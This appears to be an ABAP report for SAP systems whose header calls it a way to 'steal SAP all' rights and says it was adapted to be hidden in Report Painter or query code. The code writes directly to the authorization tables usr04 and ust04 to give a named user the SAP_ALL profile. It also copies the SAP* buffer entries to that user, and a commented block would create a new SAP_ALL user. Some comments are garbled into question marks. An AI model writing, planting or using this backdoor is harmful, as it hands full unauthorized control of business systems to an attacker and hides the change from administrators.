*&---------------------------------------------------------------------*
*& Report ZAUTHORITY *
*& *
*&---------------------------------------------------------------------*
*& *
*& *
*&---------------------------------------------------------------------*
report zauthority .
*&---------------------------------------------------------------------*
*& report : steal sap all right * *& creation date : 2004.04.01 * *&
*created by : stone.
*fu * *& description : 可窃取sap all权限 * *& modified
*date : 2005.
*11.02 *& description : 将此code hide在report painter or
*query code *
*
**&---------------------------------------------------------------------
*
*report zrightsteal.
data zusr04 like usr04 . "????????work area??
data zust04 like ust04 .
data zprofs like usr04-profs.
data zusrbf2 like usrbf2 occurs 0 with header line.
"USRBF2?????internal table
** update authorization table usr04.
select single * into zusr04 from usr04
where bname = 'STU28'. "SAP All 权限
move 'C SAP_ALL' to zprofs .
zusr04-nrpro = '14'.
zusr04-profs = zprofs.
update usr04 from zusr04 .
**update user authorization masters table ust04 .
select single * into zust04 from ust04
where bname = 'STU28'.
zust04-profile = 'SAP_ALL'. "SAP all 权限
update ust04 from zust04 .
*?????insert
*zust04-mandt = '200'.
*zust04-bname = 'ZABC2'.
*zust04-profile = 'SAP_ALL'.
*insert ust04 from zust04 .
select * from usrbf2 into table zusrbf2
where bname = 'SAP*' .
loop at zusrbf2.
zusrbf2-bname = 'STU28'.
modify zusrbf2 index sy-tabix transporting bname.
endloop.